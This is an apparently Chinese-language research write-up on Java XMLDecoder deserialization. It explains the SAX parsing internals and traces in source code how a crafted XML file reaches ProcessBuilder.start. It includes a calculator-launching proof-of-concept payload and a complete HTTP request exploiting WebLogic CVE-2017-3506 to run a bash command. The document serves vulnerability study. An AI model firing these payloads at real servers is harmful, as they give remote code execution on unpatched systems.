XMLDecoder反序列化漏洞研究
一、XMLDecoder简介
java.beans.XMLDecoder 是jdk自带的以SAX方式解析XML的类,主要功能是实现java对象和xml文件之间的转化:
- 序列化:将java对象转换成xml文件
- 反序列化:把特定格式的xml文件转换成java对象
下面是一个简单地demo样例,
package org.example; public class Person { String name = ""; int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public void sayHello(){ System.out.println("Hello, my name is "+name); } }
package org.example; import java.beans.XMLDecoder; import java.beans.XMLEncoder; import java.io.*; public class XMLDecoderTest { // 序列化对象到文件person.xml public void xmlEncode() throws FileNotFoundException { Person person = new Person(); person.setAge(18); person.setName("test"); XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml"))); xmlEncoder.writeObject(person); xmlEncoder.close(); System.out.println("序列化结束!"); } // 反序列化 public void xmlDecode() throws FileNotFoundException { XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml"))); Person person = (Person)xmlDecoder.readObject(); xmlDecoder.close(); person.sayHello(); System.out.println("反序列化成功!"); } public static void main(String[] args) throws FileNotFoundException { XMLDecoderTest xmlTest = new XMLDecoderTest(); xmlTest.xmlEncode(); xmlTest.xmlDecode(); } }
接下来自己实现一个基于SAX的XML解析。
SAX全称为Simple API for XML,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:
- Dom解析功能强大,可增删改查,操作时会将xml文档以文档对象的方式读取到内存中,因此适用于小文档
- Sax解析是从头到尾逐行逐个元素读取内容,修改较为不便,但适用于只读的大文档
SAX采用事件驱动的形式来解析xml文档,即触发了事件就去做事件对应的回调方法。
在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:
- startDocument()
- endDocument()
- startElement()
- endElement()
- characters()
package org.example; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import java.io.File; public class DemoHandler extends DefaultHandler { public static void main(String[] args) { SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); try { SAXParser parser = saxParserFactory.newSAXParser(); DemoHandler dh = new DemoHandler(); String path = "payload.xml"; File file = new File(path); parser.parse(file, dh); } catch (Exception e) { e.printStackTrace(); } } @Override public void characters(char[] ch, int start, int length) throws SAXException { System.out.println("characters()"); super.characters(ch, start, length); } @Override public void startDocument() throws SAXException { System.out.println("startDocument()"); super.startDocument(); } @Override public void endDocument() throws SAXException { System.out.println("endDocument()"); super.endDocument(); } @Override public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { System.out.println("startElement()"); for (int i = 0; i < attributes.getLength(); i++) { // getQName()是获取属性名称, System.out.print(attributes.getQName(i) + "=" + attributes.getValue(i) + "n"); } super.startElement(uri, localName, qName, attributes); } @Override public void endElement(String uri, String localName, String qName) throws SAXException { System.out.println("endElement()"); System.out.println(uri + localName + qName); super.endElement(uri, localName, qName); } }
可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。
XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。XMLEncoder使用反射来找出它们包含哪些字段,但不是以二进制形式编写这些字段,而是以 XML 编写。 待编码的对象不需要是可序列化的,但是它们确实需要遵循 Java Beans 规范,例如
- 该对象具有一个公共的空(无参数)构造器
- 该对象具有每个受保护/私有财产的公共获取器和设置器
参考链接:
https://kancloud.cn/apachecn/howtodoinjava-zh/1952934
二、XMLDecoder反序列化漏洞原理
概括来说,XMLDecoder产生漏洞的原因主要有以下几个关键因素:
- XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的XML数据可以覆盖对应Beans成员值,这给构造gadget产生了可能。
- XMLDecoder使用反射来动态生成Beans,这给触发gadget产生了可能。
以上两个条件同时都具备,使得XMLDecoder产生远程代码执行漏洞的攻击面。
在Weblogic中由于多个包wls-wast、wls9_async_response war、_async使用了该类进行反序列化操作,导致出现了了多个高位RCE漏洞。
0x1:漏洞复现
payload.xml
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string> </void> </array> <void method="start"> </void> </object> </java>
poc.java
package org.example; import java.beans.XMLDecoder; import java.io.BufferedInputStream; import java.io.File; import java.io.FileInputStream; public class poc { public static void main(String[] args) throws Exception { File file=new File("payload.xml"); FileInputStream fileInputStream=new FileInputStream(file); BufferedInputStream bufferedInputStream=new BufferedInputStream(fileInputStream); XMLDecoder xmlDecoder=new XMLDecoder(bufferedInputStream); xmlDecoder.readObject(); xmlDecoder.close(); } }
0x2:漏洞源码跟踪
在java.lang.ProcessBuilder#start打断点,堆栈如下,
可以看到,堆栈入口是从readObject()触发的,我们从头开始跟踪。
XMLDecoder跟进readObject(),
跟进parsingComplete(),
其中使用XMLDecoder的handler属性DocumentHandler的parse方法,并且传入了我们输入的xml数据,
进入com.sun.beans.decoder.DocumentHandler#parse,
这里的代码其实和我们写的DemoHandler里一模一样,通过SAXParserFactory工厂创建了实例,进而newSAXParser拿到SAX解析器,调用parse解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。
在DocumentHandler的构造函数中指定了可用的标签类型,
对应了com.sun.beans.decoder包中的几个类,
在startElement中首先解析java标签,然后设置Owner和Parent,
this.getElementHandler(var3)对应的就是从构造方法中放入this.handlers的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。
然后解析object
标签,拿到属性之后通过addAttribute()设置属性,
在addAttribute()没有对class属性进行处理,抛给了父类com.sun.beans.decoder.NewElementHandler#addAttribute,
会通过findClass()去寻找java.lang.ProcessBuilder类,
通过classloader寻找类赋值给type,
赋值完之后跳出for循环进入this.handler.startElement(),不满足条件,
接下来解析array标签,同样使用addAttribute对属性赋值,
同样抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute处理,
接下来继续设置length属性,
最后进入com.sun.beans.decoder.ArrayElementHandler#startElement,
因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用com.sun.beans.decoder.NewElementHandler#getValueObject(),
这个getValueObject重新调用ArrayElementHandler#getValueObject两个参数的重载方法,
ValueObjectImpl.create(Array.newInstance(var1, this.length))创建了长度为1、类型为String的数组并返回,到此处理完array标签。
接着处理void,创建VoidElementHandler,设置setOwner和setParent。
调用父类com.sun.beans.decoder.ObjectElementHandler#addAttribute设置index属性,
继续解析string标签,不再赘述。
解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement()。
StringElementHandler没有endElement(),调用父类ElementHandler的endElement(),
调用本类的getValueObject(),
设置value为/System/Applications/Calculator.app/Contents/MacOS/Calculator,
接着闭合void,
闭合array,
然后开始解析<void method="start"/>
通过父类的addAttribute将this.method赋值为start,
随后闭合void标签,
调用endElement,VoidElementHandler类没有,所以调用父类ObjectElementHandler.endElement,
调用NewElementHandler类无参getValueObject,
然后调用VoidElementHandler类有参getValueObject,但是VoidElementHandler没有这个方法,所以调用VoidElementHandler父类ObjectElementHandler的有参getValueObject。
跟进Object var3 = this.getContextBean(),因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean(),
继续调用NewElementHandler父类ElementHandler的getContextBean(),
会调用this.parent.getValueObject()也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法,
最终var3的值为java.lang.ProcessBuilder,var4的值为start,var5的值为/System/Applications/Calculator.app/Contents/MacOS/Calculator,
通过Expression的getValue()方法反射调用start,执行指令。
也就相当于最后拼接了一个表达式:new java.lang.ProcessBuilder(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).start();
XMLDecoder采用Expression对节点的value进行动态获取,而Expression是可以获取返回值的,这是能够漏洞利用成功的一个关键点之一。举个例子,
package org.example; public class User { private int id; private String name; @Override public String toString() { return "User{" + "id=" + id + ", name='" + name + "'" + '}'; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String sayHello(String name) { return String.format("你好 %s!", name); } }
package org.example; import org.example.User; import java.beans.Expression; import java.beans.Statement; public class TestMain { public static void main(String[] args) { testStatement(); testExpression(); } public static void testStatement() { try { User user = new User(); Statement statement = new Statement(user, "setName", new Object[]{"张三"}); statement.execute(); System.out.println(user.getName()); } catch (Exception e) { e.printStackTrace(); } } public static void testExpression() { try { User user = new User(); Expression expression = new Expression(user, "sayHello", new Object[]{"小明"}); expression.execute(); System.out.println(expression.getValue()); } catch (Exception e) { e.printStackTrace(); } } }
可以看到,Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。
总结一下,
XMLDecoder导致漏洞的原因就在于处理节点的时候,信任了外部输入的XML指定节点类型信息(class类型节点),同时在进行节点Expression动态实例化的时候(通过invoke实现set()方法),允许节点属性由XML任意控制(本例中是new java.lang.ProcessBuilder、和new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),导致Expression的set()方法被重载为风险函数(本例中是start)。Expression动态解析因为Java反射特性实现了代码执行。
参考链接:
https://www.chabug.org/audit/1425 https://blog.csdn.net/qq_38154820/article/details/108138810 https://github.com/mhaskar/XMLDecoder-payload-generator/blob/main/XMLDecoder-payload-generator.py https://www.cnblogs.com/0x28/p/14391641.html https://www.shijiyin.com/archives/487334 https://www.kancloud.cn/apachecn/howtodoinjava-zh/1952934
三、真实CVE漏洞案例
0x1:CVE-2017-3506
POST包,
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.248.128:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: text/xml Content-Length: 605 Origin: http://192.168.248.128:7001 Connection: close Referer: http://192.168.248.128:7001/wls-wsat/CoordinatorPortType Upgrade-Insecure-Requests: 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/CVE-2017-3506</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
参考链接:
https://sp4zcmd.github.io/2021/09/30/XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/